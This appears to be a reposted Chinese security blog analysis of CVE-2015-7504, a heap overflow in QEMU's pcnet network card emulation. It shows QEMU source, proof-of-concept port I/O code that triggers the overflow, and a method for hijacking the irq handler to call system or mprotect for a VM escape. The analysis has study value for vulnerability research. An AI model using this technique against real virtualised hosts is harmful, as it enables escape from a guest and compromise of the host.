最新消息:图 床

qemu-pwn-cve-2015-7504 堆溢出漏洞分析

COOL IAM 53浏览 0评论

作者:raycp
原文來自安全客:https://www.anquanke.com/post/id/197638

cve-2015-7504是pcnet網卡中的一個堆溢出漏洞,可以溢出四字節,通過構造特定的數據可以劫持程序執行流,結合前面的cve-2015-5165中的信息泄露,便可以實現任意代碼執行。

漏洞分析

首先仍然是先介紹pcnet網卡的部分信息。

網卡有16位和32位兩種模式,這取決於DWIO(存儲在網卡上的變量)的實際值,16位模式是網卡重啟后的默認模式。網卡有兩種內部寄存器:CSR(控制和狀態寄存器)和BCR(總線控制寄存器)。兩種寄存器都需要通過設置對應的我們要訪問的RAP(寄存器地址端口)寄存器來實現對相應CSR或BCR寄存器的訪問。

網卡的配置可以通過填充一個初始化結構體,並將該結構體的物理地址傳送到網卡(通過設置CSR[1]和CSR[2])來完成,結構體定義如下:

struct pcnet_config {
    uint16_t  mode;      /* working mode: promiscusous, looptest, etc. */
    uint8_t   rlen;      /* number of rx descriptors in log2 base */
    uint8_t   tlen;      /* number of tx descriptors in log2 base */
    uint8_t   mac[6];    /* mac address */
    uint16_t _reserved;
    uint8_t   ladr[8];   /* logical address filter */
    uint32_t  rx_desc;   /* physical address of rx descriptor buffer */
    uint32_t  tx_desc;   /* physical address of tx descriptor buffer */
};

漏洞代碼在./hw/net/pcnet.cpcnet_receive函數中,關鍵代碼如下:

ssize_t print pcnet_receive(NetClientState *nc, const uint8_t *buf, size_t size_)
{
    int size = size_;
    PCNetState *s = qemu_get_nic_opaque(nc);
    ...

                uint8_t *src = s->buffer;
                    ....
            } else if (s->looptest == PCNET_LOOPTEST_CRC ||
                       !CSR_DXMTFCS(s) || size < MIN_BUF_SIZE+4) {
                uint32_t fcs = ~0;
                uint8_t *p = src;

                while (p != &src[size])
                    CRC(fcs, *p++);
                *(uint32_t *)p = htonl(fcs); //將crc值寫到數據包的末尾
                size += 4;
...
    pcnet_update_irq(s);

    return size_;
}

s->buffer是網卡接收的數據,size是數據大小,可以看到代碼計算出當前數據包的crc值並寫到了數據包的末尾。但是當size剛好為s->buffer的大小時,會導致最後會將crc值越界到緩衝區之外,溢出的數據為數據包中的crc值。

接下來看越界會覆蓋什麼,s的定義是PCNetState,定義如下:

struct PCNetState_st {
    NICState *nic;
    NICConf conf;
    QEMUTimer *poll_timer;
    int rap, isr, lnkst;
    uint32_t rdra, tdra;
    uint8_t prom[16];
    uint16_t csr[128];
    uint16_t bcr[32];
    int xmit_pos;
    uint64_t timer;
    MemoryRegion mmio;
    uint8_t buffer[4096];
    qemu_irq irq;
    void (*phys_mem_read)(void *dma_opaque, hwaddr addr,
                         uint8_t *buf, int len, int do_bswap);
    void (*phys_mem_write)(void *dma_opaque, hwaddr addr,
                          uint8_t *buf, int len, int do_bswap);
    void *dma_opaque;
    int tx_busy;
    int looptest;
};

可以看到buffer的大小為4096,當size4096時,會使得crc覆蓋到後面的qemu_irq irq低四字節。irq的定義是typedef struct IRQState *qemu_irq,為一個指針。溢出會覆蓋該結構體指針的低四字節,該結構體定義如下:

struct IRQState {
    Object parent_obj;

    qemu_irq_handler handler;
    void *opaque;
    int n;
};

在覆蓋率變量irq的第四字節后,在程序的末尾有一個pcnet_update_irq(s);的函數調用,該函數中存在對qemu_set_irq函數的調用,由於可控irq,所以可控irq->handler,使得有可能控制程序執行流。

void qemu_set_irq(qemu_irq irq, int level)
{
    if (!irq)
        return;

    irq->handler(irq->opaque, irq->n, level);
}

可以看到覆蓋的值的內容是數據包的crc校驗的值,該值是可控的。我們可以通過構造特定的數據包得到我們想要的crc校驗的值,有需要可以去看具體原理,因此該漏洞可實現將irq指針低四字節覆蓋為任意地址的能力。

再看如何觸發漏洞pcnet_receive函數,找到調用它的函數pcnet_transmit,需要設置一些標誌位如BCR_SWSTYLE等才能觸發函數:

static void pcnet_transmit(PCNetState *s)
{
    hwaddr xmit_cxda = 0;
    int count = CSR_XMTRL(s)-1;
    int add_crc = 0;
    int bcnt;
    s->xmit_pos = -1;

                ...
        if (s->xmit_pos + bcnt > sizeof(s->buffer)) {
            s->xmit_pos = -1;
            goto txdone;
        }

        ...
        if (CSR_LOOP(s)) {
            if (BCR_SWSTYLE(s) == 1)
                add_crc = !GET_FIELD(tmd.status, TMDS, NOFCS);
            s->looptest = add_crc ? PCNET_LOOPTEST_CRC : PCNET_LOOPTEST_NOCRC;
            pcnet_receive(qemu_get_queue(s->nic), s->buffer, s->xmit_pos);
            s->looptest = 0;
        } else {
            ...

再看調用pcnet_transmit的函數:一個是在pcnet_csr_writew中調用;一個是在pcnet_poll_timer中。

主要看pcnet_csr_writew函數,它被pcnet_ioport_writew調用,了io_port函數,可以去對程序流程進行分析了。

void pcnet_ioport_writew(void *opaque, uint32_t addr, uint32_t val)
{
    PCNetState *s = opaque;
    pcnet_poll_timer(s);
#ifdef PCNET_DEBUG_IO
    printf("pcnet_ioport_writew addr=0x%08x val=0x%04x/n", addr, val);
#endif
    if (!BCR_DWIO(s)) {
        switch (addr & 0x0f) {
        case 0x00: /* RDP */
            pcnet_csr_writew(s, s->rap, val);
            break;
        case 0x02:
            s->rap = val & 0x7f;
            break;
        case 0x06:
            pcnet_bcr_writew(s, s->rap, val);
            break;
        }
    }
    pcnet_update_irq(s);
}

流程分析

因為流程中很多關鍵數據都是使用CSR(控制和狀態寄存器)表示的,這些寄存器各個位的意義看起來又很麻煩,所以這次流程分析更多的是基於poc的流程。

先看網卡信息,I/O端口為0xc140,大小為32:

root@ubuntu:~# lspci -v -s 00:05.0
00:05.0 Ethernet controller: Advanced Micro Devices, Inc. [AMD] 79c970 [PCnet32 LANCE] (rev 10)
        Flags: bus master, medium devsel, latency 0, IRQ 10
        I/O ports at c140 [size=32]
        Memory at febf2000 (32-bit, non-prefetchable) [size=32]
        Expansion ROM at feb80000 [disabled] [size=256K]
        Kernel driver in use: pcnet32
lspci: Unable to load libkmod resources: error -12

再看./hw/net/pcnet-pci.c中的realize函數中的pmio空間的相關聲明:

memory_region_init_io(&d->io_bar, OBJECT(d), &pcnet_io_ops, s, "pcnet-io",
                          PCNET_IOPORT_SIZE);

#define PCNET_IOPORT_SIZE       0x20    

static const MemoryRegionOps pcnet_io_ops = {
    .read = pcnet_ioport_read,
    .write = pcnet_ioport_write,
    .endianness = DEVICE_LITTLE_ENDIAN,
};

static void pcnet_ioport_write(void *opaque, hwaddr addr,
                               uint64_t data, unsigned size)
{
    PCNetState *d = opaque;

    trace_pcnet_ioport_write(opaque, addr, data, size);
    if (addr < 0x10) {
        ...
    }
}

static uint64_t pcnet_ioport_read(void *opaque, hwaddr addr,
                                  unsigned size)
{
    PCNetState *d = opaque;

    trace_pcnet_ioport_read(opaque, addr, size);
    if (addr < 0x10) {
       ...
        }
    } else {
        if (size == 2) {
            return pcnet_ioport_readw(d, addr);
        } else if (size == 4) {
            return pcnet_ioport_readl(d, addr);
        }
    }
    return ((uint64_t)1 << (size * 8)) - 1;
}

可以看到當addr大於0x10時,會根據size的大小調用相對應的pcnet_ioport_readw以及pcnet_ioport_readl

poc中關鍵代碼如下:

                /* soft reset */
        inl(PCNET_PORT + 0x18);
        inw(PCNET_PORT + RST);

        /* set swstyle */
        outw(58, PCNET_PORT + RAP);
        outw(0x0102, PCNET_PORT + RDP);

        /* card config */
        outw(1, PCNET_PORT + RAP);
        outw(lo, PCNET_PORT + RDP);
        outw(2, PCNET_PORT + RAP);
        outw(hi, PCNET_PORT + RDP);

        /* init and start */
        outw(0, PCNET_PORT + RAP);
        outw(0x3, PCNET_PORT + RDP);

        sleep(2);

        pcnet_packet_send(&pcnet_tx_desc, pcnet_tx_buffer, pcnet_packet,
                          PCNET_BUFFER_SIZE);

首先是先調用inl以及inw去初始化網卡,在readw中0x14對應的會調用pcnet_s_reset函數,readl函數中0x18也會調用該函數。該函數會將網卡進行初始化,包括設置為16位模式以及設置狀態為stop狀態等。

static void pcnet_s_reset(PCNetState *s)
{
    trace_pcnet_s_reset(s);

    s->rdra = 0;
    s->tdra = 0;
    s->rap = 0;

    s->bcr[BCR_BSBC] &= ~0x0080;  //設置16位模式

    s->csr[0]   = 0x0004;    //設置state為stop狀態
    ...

    s->tx_busy = 0;
}

先看下pcnet_ioport_writew的定義:

void pcnet_ioport_writew(void *opaque, uint32_t addr, uint32_t val)
{
    PCNetState *s = opaque;
    pcnet_poll_timer(s);
#ifdef PCNET_DEBUG_IO
    printf("pcnet_ioport_writew addr=0x%08x val=0x%04x/n", addr, val);
#endif
    if (!BCR_DWIO(s)) {
        switch (addr & 0x0f) {
        case 0x00: /* RDP */
            pcnet_csr_writew(s, s->rap, val);
            break;
        case 0x02:
            s->rap = val & 0x7f;
            break;
        case 0x06:
            pcnet_bcr_writew(s, s->rap, val);
            break;
        }
    }
    pcnet_update_irq(s);
}


static void pcnet_csr_writew(PCNetState *s, uint32_t rap, uint32_t new_value)
{
    uint16_t val = new_value;
#ifdef PCNET_DEBUG_CSR
    printf("pcnet_csr_writew rap=%d val=0x%04x/n", rap, val);
#endif
    switch (rap) {
    case 0:
        s->csr[0] &= ~(val & 0x7f00); /* Clear any interrupt flags */

        s->csr[0] = (s->csr[0] & ~0x0040) | (val & 0x0048);

        val = (val & 0x007f) | (s->csr[0] & 0x7f00);

        /* IFF STOP, STRT and INIT are set, clear STRT and INIT */
        if ((val&7) == 7)
          val &= ~3;

        if (!CSR_STOP(s) && (val & 4))
            pcnet_stop(s);

        if (!CSR_INIT(s) && (val & 1))
            pcnet_init(s);

        if (!CSR_STRT(s) && (val & 2))
            pcnet_start(s);

        if (CSR_TDMD(s))
            pcnet_transmit(s);

        return;
    ...

    s->csr[rap] = val; //設置csr寄存器值
}

可以看到我們可以通過設置addr0x12來設置s->rap,然後再通過addr為0x100x16來操作csr寄存器或bcr寄存器,而設置好的s->rap則是csr寄存器或bcr寄存器的索引。

因此操作都需要兩條指令才能進行,先通過s->rap設置好索引,再去操作相應的寄存器,如poc中需要將pcnet的配置結構體傳遞給網卡,需要將該結構體物理地址賦值給csr[1]以及csr[2],則需要先將s->rap設置為1再去將地址的值賦值:

                /* card config */
        outw(1, PCNET_PORT + RAP);
        outw(lo, PCNET_PORT + RDP);
        outw(2, PCNET_PORT + RAP);
        outw(hi, PCNET_PORT + RDP);

配置好網卡后,通過pcnet_init以及pcnet_start將網卡啟動起來,再將構造的數據發送出去就觸發了漏洞。

漏洞利用

該漏洞的利用需要結合之前cve-2015-5165的信息泄露,基於信息泄露得到了程序基址以及相應的堆地址后,便可實現任意代碼執行。

先看內存結構原有的內存結構,將斷點下在pcnet_receive函數,運行poc:

pwndbg> print s
$2 = (PCNetState *) 0x5565a78d0840
pwndbg> vmmap s
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x5565a66f1000     0x5565a7f15000 rw-p  1824000 0      [heap]
pwndbg> print s->irq
$3 = (qemu_irq) 0x5565a78d6740
pwndbg> vmmap s->irq
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x5565a66f1000     0x5565a7f15000 rw-p  1824000 0      [heap]
pwndbg> print &s->buffer
$5 = (uint8_t (*)[4096]) 0x5565a78d2ad0
pwndbg> vmmap &s->buffer
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x5565a66f1000     0x5565a7f15000 rw-p  1824000 0      [heap]

可以看到irq指針的值為堆地址,而我們可控的網卡的數據也在堆上。

利用思路就比較清楚了,將irq指針的低四位覆蓋指向s->buffer中的某處,並在該處偽造好相應的irq結構體,如將handler偽造為system plt的地址,將opaque偽造為堆中參數cat flag的地址。

struct IRQState {
    Object parent_obj;

    qemu_irq_handler handler;
    void *opaque;
    int n;
};

system plt地址可通過objdump獲得:

$ objdump -d -j .plt ./qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64  | grep system
./qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64:     file format elf64-x86-64
000000000009cf90 <system@plt>:
   9cf90:       ff 25 a2 14 7d 00       jmpq   *0x7d14a2(%rip)        # 86e438 <system@GLIBC_2.2.5>

需要提一下的是,QEMU Case Study中則是調用mprotect函數來先將內存設置為可執行,然後再執行shellcode。但是看起來似乎無法控制第三個參數的值,因為level是由父函數pcnet_update_irq傳遞過來的:

void qemu_set_irq(qemu_irq irq, int level)
{
    if (!irq)
        return;

    irq->handler(irq->opaque, irq->n, level);
}

該文章中的解決方法是構造了兩個irq,第一個函數指針指向了qemu_set_irq,將opque設置為第二個irq的地址,irq->n設置為7;第二個irq則將handler設置為mprotectopaque設置為對應的地址,n設置為相應的地址,以此來實現第三個參數的控制。當mprotect成功執行后,再通過網卡數據的設置,控制執行流重新執行shellcode的地址,實現利用。

小結

兩個很經典的漏洞結合實現了任意代碼執行,值得學習。

相應的腳本和文件鏈接

參考鏈接

  1. [翻譯]虛擬機逃逸——QEMU的案例分析(一)
  2. [翻譯]虛擬機逃逸——QEMU的案例分析(二)
  3. [翻譯]虛擬機逃逸——QEMU的案例分析(三)
  4. QEMU Case Study
  5. qemu 逃逸漏洞解析CVE-2015-5165 和 CVE-2015-7504 漏洞原理與利用
  6. 【漏洞分析】前往黑暗之門!Debugee in QEMU
  7. Reversing CRC

转载请注明:IAMCOOL » qemu-pwn-cve-2015-7504 堆溢出漏洞分析

0 0 vote
Article Rating
Subscribe
Notify of
0 Comments
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x